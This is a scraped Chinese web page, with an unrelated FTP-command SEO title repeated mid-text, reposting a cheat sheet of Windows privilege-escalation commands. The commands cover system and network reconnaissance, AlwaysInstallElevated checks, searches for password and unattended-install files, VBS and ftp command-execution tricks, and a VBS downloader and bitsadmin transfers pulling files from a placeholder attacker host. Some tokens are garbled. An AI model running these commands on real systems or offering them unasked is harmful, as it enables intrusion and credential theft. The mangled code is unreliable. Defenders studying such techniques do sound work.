下令行ftp服务器_ftp下令mget「ftp命令行下载」

  这不是一篇渗出测试引导,而是简单先容了几个Windows内网提权的实用下令,以供我等菜鸟学习观摩,还望大牛包涵引导。

  1

  获取操纵体系信息

  辨认操纵体系名称及版本:

  C:\Users\thel3lsysteminfo|findstr/B/C:"OSName"/C:"OSVersion"

  OSName:MicrosoftWindows10Pro

  OSVersion:10.0.14393N/ABuild14393

  固然中文体系你得如许:

  systeminfo|findstr/B/C:"OS名称"/C:"OS版本"

  辨认体系体系布局:

  C:\Users\thel3lecho%PROCESSOR_ARCHITECTURE%

命令行ftp服务器_ftp命令mget 下令
行ftp服务器_ftp下令
mget「ftp命令行下载」 行业资讯

  AMD64

  查察全部环境变量:

  C:\Users\thel3lSET

  USERNAME=thel3l

  USERPROFILE=C:\Users\thel3l

  *snip*

  查察某特定用户信息:

  C:\Users\thel3lnetuserthel3l

  Usernamethel3l

  *snip*

  Thecommandcompletedsuccessfully

  2

  获取网络信息

  查察路由表信息:

  C:\Users\thel3lrouteprint

  查察ARP缓存信息:

  C:\Users\thel3larp-A

  查察防火墙规则:

  C:\Users\thel3lnetstat-ano

  C:\Users\thel3lnetshfirewallshowconfig

  C:\Users\thel3lnetshfirewallshowstate

  3

  应用程序及服务信息

  查察筹划任务:

  C:\Users\thel3lschtasks/QUERY/foLIST/v

  中文体系的下令,先调解GBK编码为437美国编码:

  chcp437

  然后

  schtasks/QUERY/foLIST/v

  查察服务进程ID:

  C:\Users\thel3ltasklist/SVC

  查察安装驱动:

  C:\Users\thel3lDRIVERQUERY

  查察安装程序和版本信息(弊端利用线索):

  C:\Users\thel3lwmicproductlistbrief

  查察服务、进程和启动程序信息:

  C:\Users\thel3lwmicservicelistbrief

  C:\Users\thel3lwmicprocesslistbrief

  C:\Users\thel3lwmicstartuplistbrief

  查察.msi程序的实行权限:

  C:\Users\thel3lregqueryHKCU\SOFTWARE\Policies\Microsoft\Windows\Installer/vAlwaysInstallElevated

  C:\Users\thel3lregqueryHKLM\SOFTWARE\Policies\Microsoft\Windows\Installer/vAlwaysInstallElevated

  查察是否设置有setuid和setgid:

  C:\Users\thel3l

  regqueryHKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits

命令行ftp服务器_ftp命令mget 下令
行ftp服务器_ftp下令
mget「ftp命令行下载」 行业资讯

  查察安装补丁和时间信息:

  C:\Users\thel3lwmicqfegetCaption,Deion,HotFixID,InstalledOn

  查察特定弊端补丁信息:

  C:\Users\thel3lwmicqfegetCaption,Deion,HotFixID,InstalledOn|findstr/C:"KBxxxxxxx"

  4

  敏感数据和目次

  查找暗码文件或别的敏感文件:

  C:\Users\thel3lcd/

  C:\Users\thel3ldir/b/spassword.txt

  C:\Users\thel3ldir/b/sconfig.*

  C:\Users\thel3lfindstr/sipassword*.xml*.ini*.txt

  C:\Users\thel3lfindstr/silogin*.xml*.ini*.txt

  无人值守安装文件:

  这些文件通常包罗模式的暗码信息。这类文件在一些大型企业网络或GHO体系中可以发现,文件通常的位置如下:

  C:\sysprep.inf

  C:\sysprep\sysprep.xml

  C:\Windows\Panther\Unattend\Unattended.xml

  C:\Windows\Panther\Unattended.xml

  5

  文件体系

  可以通过调用体系预安装程序语言查察当前可访问目次或文件权限,如python下:

  importos;os.system("cmd/c{commandhere}")

  利用copycon下令创建ftp实行会话:

  范例

  C:\Users\thel3lcopyconftp.bat#创建一个名为ftp.bat的批处理惩罚文件

  ftp#输入实行会话名称,按回车到下一行,之后按CTRL+Z竣事编辑,再按回车退出

  C:\Users\thel3lftp.bat#实行创建的文件

  ftp#实行ftp下令

  ftp!{command}#e.g.-!diror!ipconfig

  利用copycon下令创建VBS脚本文件:

  C:\Users\thel3lcopyconcommandExec.vbs#创建VBS脚本文件

  CallW.CreateObject("W.Shell").Run("cmd/K{command}",8,True)#VBS文件内容

  C:\Users\thel3lcommandExec.vbs#实行脚本文件

  查抄文件夹可写状态:

  C:\Users\thel3ldir/a-r-d/s/b

  6

  一个有效的文件上传脚本

  'downloadfile.vbs

  'Setyoursettings

  strFileURL="https://{YOUR_IP}/{FILE_NAME.EXT}"

  strHDLocation="c:\\{FILE_NAME.EXT}"

  'Fetchthefile

  SetobjXMLHTTP=CreateObject("MSXML2.XMLHTTP")

  objXMLHTTP.open"GET",strFileURL,false

  objXMLHTTP.send()

  IfobjXMLHTTP.Status=200Then

  SetobjADOStream=CreateObject("ADODB.Stream")

  objADOStream.Open

  objADOStream.Type=1'adTypeBinary

  objADOStream.WriteobjXMLHTTP.ResponseBody

  objADOStream.Position=0'Setthestreampositiontothestart

  SetobjFSO=Createobject("ing.FileSystemObject")

  IfobjFSO.Fileexists(strHDLocation)ThenobjFSO.DeleteFilestrHDLocation

  SetobjFSO=Nothing

  objADOStream.SaveToFilestrHDLocation

  objADOStream.Close

  SetobjADOStream=Nothing

  Endif

  SetobjXMLHTTP=Nothing

  该脚本是一个社区发布的,你可以以下这种方式运行它:

  C:\Users\thel3lc.exedownloadfile.vbs

  bitsadmin下令:

  假如你的目标体系是Windows7及以上操纵体系,你可以利用bitsadmin下令,bitsadmin是一个下令行工具,可用于创建下载上传进程:

  范例

  C:\Users\thel3lbitsadmin/transferjob_name/download/prioritypriorityURLlocal\path\file

  C:\Users\thel3lbitsadmin/transfermydownloadjob/download/prioritynormal^http://{YOUR_IP}/{FILE_NAME.EXT}

  C:\Users\username\Downloads\{FILE_NAME.EXT}

  如:

  bitsadmin/transfernhttps://download.fb.com/file/xx.zipc:\pentest\xx.zip

  泉源:https://www.freebuf.com/articles/system/114731.html

  

  “炼石杯”网络空间安全技能大赛

  以赛促学、以技会友

  更有诸多大奖等你拿

  详情咨询QQ群:478091920

你可能想看:

客户评论

我要评论